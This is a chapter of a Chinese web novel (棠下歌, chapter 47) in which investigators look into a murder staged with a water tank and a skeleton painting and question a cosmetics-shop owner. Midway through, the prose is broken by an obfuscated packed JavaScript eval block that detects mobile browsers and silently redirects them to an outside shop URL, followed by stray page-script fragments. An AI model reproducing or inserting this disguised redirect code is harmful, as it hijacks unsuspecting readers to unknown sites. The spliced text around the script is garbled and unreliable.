文趣网 > 其他小说 > 棠下歌 > 47. 骷髅面
    “方才你问李忍是不是跟两位娘子认识,你在怀疑什么?”

    走在京兆府的小道上。

    二人步伐一致。

    微风轻拂,树叶沙沙作响。

    柳司珩的声音低沉,祁让抬头看了看他。

    而后表情也变得凝重,一副心事重重的样子,“不好说,就是有种预感,老二做事向来滴水不漏,我想不通,他为什么会找上两个毫不相干的女子。”

    “倒也不至于说毫不相干。”柳司珩道:“别忘了,她们可还受过天子的恩惠。”

    祁让停下脚步。

    毫不掩饰脸上的不悦,“这能说明什么?”

    柳司珩无心,祁让却下意识误解了表哥的意思。

    以为这姐妹二人怕不也是父皇为老二安排的。

    人家父子才是心连心。

    那自己又算什么。

    柳司珩一顿,别看他这弟弟每天鼻孔仰得比天高,实则脆弱得很,定是又误会上了。

    他也没做过多解释,只是识趣地掐断了话,“无心之言,殿下莫往心里去。”

    “这种话以后在我面前说说就好……算了,在我面前也别说,听了心烦。”

    “是。”

    走着走着,不觉间已经来到了殓房外。

    宋序和江谨承正在端详着一幅画。

    听到脚步声,宋序回过头,“你们和府尹聊完了,他有没有交代幕后主使是谁?”

    柳司珩点点头,后又摇摇头。

    宋序眯起眼睛:“到底有还是没有?”

    祁让:“他确实承认了想找闻人允的麻烦,但他极力否认兰朵的死与他有关,至于受谁指使,还是回去问问你的二殿下吧。”

    太子一直对宋序有戒心,柳司珩也没想到祁让会直接把老二抖出来。

    就像一个好不容易抓住同学小辫子的小孩,立刻马不停蹄地去向先生告状一样。

    细想有些幼稚。

    柳司珩笑着摇了摇头,话锋一转,问道:“对了序序,验尸结果如何?”

    宋序拿正色说:“验了骨,现在可以确定兰朵的死因是被重物打击后脑致死,而并非毒杀。”

    祁让:“那龙翰呢?”

    江谨承回答:“也验了,跟李忍那老头儿说的差不多,腹部中刀,是被人囊死的。”

    “至于到底是不是闻人允,得找到人之后才能确定。”江谨承说罢挑了下眉,漫不经心地揽住祁让,好像在说快夸我快夸我。

    幼稚。

    祁让推开他,目光投向桌上那副画,“这就是闻人允画的那幅?”

    “仿的,现在外面到处都是,要不然龙翰怎么能如此有底气,一口咬定是闻人允杀人。”柳司珩将折扇别回腰间,修长的手指轻轻搭在画轴上,动作轻柔,一只手轻轻托住画轴的另一端,懒懒开口说:“看这骷髅栩栩如生,难不成真是这画杀了人?”

    祁让没心情跟他开玩笑,直言说:“我看是有人借此画故意搞鬼才是。”

    闻人允作此图时大概在三个月前。

    而李忍和老二勾结是在半月前。

    兰朵又死在昨日。

    很明显是有人早就想利用这画做文章,好把杀人的名义嫁祸到闻人允头上。

    若暂且相信李忍的话,此事与他跟老二都无关。

    那么凶手还会有谁?

    只能说,那人必定同妙音双子和闻人允都有仇。

    说不定可以先试着查查双方共友。

    ***

    祁让和江谨承去做走访,而宋序和柳司珩回到见喜三元,回到案发现场。

    水缸还置在台子中央,出了这种事也没人敢靠近。

    赵妈妈动作也够快,事发后立刻请了法师来做法,周围都是洒出的黄符和纸钱,弄得整个花楼都乌烟瘴气的。

    先前龙翰来得太快,柳司珩都还没来得及仔细查看这个水缸机关。

    现在进去才发现台下其实有两条暗线。

    一条连通观众席一条连通后台。

    表演者会先回到后台补妆再换身干衣。

    总之得让观众看不出有下了水的痕迹。

    换装的过程会非常迅速,若无旁人协助,一个人肯定完成不了。

    柳司珩问赵妈妈那天守在后台伺候的人是谁,赵妈妈回想片刻,说:“是一家胭脂店的掌柜,叫春晓,她在京都颇有些名气,好多大户人家办歌舞晚宴都是找她给姑娘们打扮。”

    宋序:“该不会是香雪坊吧?”

    柳司珩侧眸问:“你认识?”

    “姨娘喜欢光顾。”

    赵妈妈便说了那天的具体安排。

    原本是让春晓娘子和她的徒弟守在下面替兰朵更衣,结果她们一直不见兰朵下来。

    后来才得知上面竟出了那么大的事,被吓得不轻,早已收拾东西回店里了。

    柳司珩听完,从口袋里掏出一沓银票给赵妈妈:“闻人现在也不知道在哪,这几天就先别开张了,把钱给下面的人发下去,让他们管好自己的嘴,像鬼画杀人这种谣言,我不希望再在外面听到。”

    “是,公子放心,我会处理好的。”

    这时宋序拉住柳司珩的衣袖,抬头看着他,“柳司珩,出发前我想先去确认一件事。”

    ***

    ……

    “看来情况与我们猜的差不多,那天上台的肯定不是兰朵,凶手杀了她,提前将尸骨藏在暗道里,跳下水之后让尸骨上浮,自己则溜之大吉。”宋序快步追在柳司珩后面,走得气喘吁吁,嘴唇被喘息吹得发白。

    他艰难地拉了下箧笥的背带,断断续续地说道。

    “可惜闻人不在,凭他的画技,想还原尸骨的模样不成问题。”柳司珩的步子一下子顿住了,宋序脚下有些悬浮,整个人撞进了柳司珩怀里。

    柳司珩温柔一笑,搀他站好,“慢点。”

    “你干嘛突然不走了。”宋序揉着额头抱怨道。

    柳司珩目光上移,宋序也抬起头来,见店家的牌匾上写着“香雪坊”。

    柳司珩说:“到了。”

    胭脂铺的门面不大,但极为精致,分前堂和后室,前堂是顾客选购胭脂水粉的地方,后室则是制作和存放原材料的地方。

    前堂的小姑娘一看二人进来,便忙上前问:“二位公子可是要为家中娘子置办些什么,我们家品类很全的,您可以随便看看也可以告诉奴家您娘子的喜好,奴家定能为您挑选最合适的。”

    柳司珩随便拿起一盒香膏,而后用扇子指了指宋序,“你看他适合什么?”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520587|203296||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    “他?”小姑娘愣了愣,似乎还没能反应过来。

    宋序被这话惊得一颤,有些难为情,面红耳赤道:“你有病吧?”

    小姑娘稍一思忖便明白过来,连连摇手说:“不妨事不妨事,男子用的香膏我们也有,小公子是喜欢四时清味还是北苑名芳?”

    “都拿来给……唔。”柳司珩的嘴及时被宋序捂紧,小声在他耳边说:“你还有没有点正经事。”

    接着宋序拿出特察司令牌,“官府办案,叫你们掌柜的出来。”

    ***

    春晓的打扮极为简单,就一件素雅的白袍,用臂绳将袖子束到了手肘,头发用发簪盘起,散落下许多碎发,却丝毫不显得凌乱。

    这般打扮不像是做脂粉生意的,更像是京中秀外慧中的才女。

    让宋序一下就想到了旻南侯家的小姐。

    那叫一个明眸皓齿、文采风流,相比起来这春晓虽在气质上与她无异,就是样貌……

    从眉眼看得出春晓曾经应该也是个美人,就算不是国色天香那肯定也是小家碧玉,一双眼睛柔和而水润,眉毛弯曲如柳叶,给人一种善良、温柔的感觉。

    然而下半张脸却要骇人得多。

    大抵是被什么东西灼烧过,留下了很大一块烫伤疤痕。

    “见过上官。”春晓她缓缓屈膝,双手在身前交叠,微微躬身。

    她的嗓音有些粗哑,略带冷意,有种生人勿近的疏离感,“不知上官找奴家所为何事?”

    宋序说:“昨日见喜三元出了命案,听那里的虔婆赵妈妈说,当天应该是你负责在后台替兰朵换装,我们想找你详细了解当时的情况。”

    “是,只要奴家知道的,一定知无不言。”春晓微微偏头,对那小姑娘道:“去给二位上官泡两杯茶。”

    小姑娘下去后,三人落座,宋序皱了皱鼻头,“好香啊。”

    春晓有些不好意思地将发丝别到耳后,“做的脂粉生意嘛,在所难免,上官可是闻不惯?”

    “不不不,就是觉得有些熟悉。”宋序低头从箱子中拿出他的手记本,继续问:“嗯……当时兰朵下水后可有回过后台?”

    春晓摇摇头,“并未回过,我和蓉儿,就是刚才那丫头,我们等了很久,但始终没等到兰朵姑娘过来。”

    “再后来,就听到外面说死人了。”

    说着说着,春晓的语气也软了下来,“二位有所不知,我家这小娘子八字弱,算命先生说她不能沾上晦气,故而一听外面有尸体,我就先赶紧带她回家了,是不是耽误了什么?”

    “那倒没有。也就是说,当时屋里就你们两个人?”

    “不错。”

    宋序写完,不知道还要问什么,便抬头向柳司珩眼神求助。

    柳司珩折扇轻敲着桌沿,悠悠道:“春晓娘子同伽罗两姐妹关系如何,什么时候认识的?”

    “关系……也就那样吧,不好不坏普普通通,说到底,她们也只是奴家的客人,与奴家相识不足三日。”

    “若不是赵妈妈请奴家到见喜三元给她二人香妆,或许奴家与她们这辈子都不会有交集。”

    柳司珩饶有兴致地看着她,话里带了几分玩味,“吼?是这样吗,那娘子为何要在演出前一天给伽罗兰朵送糕点呢?”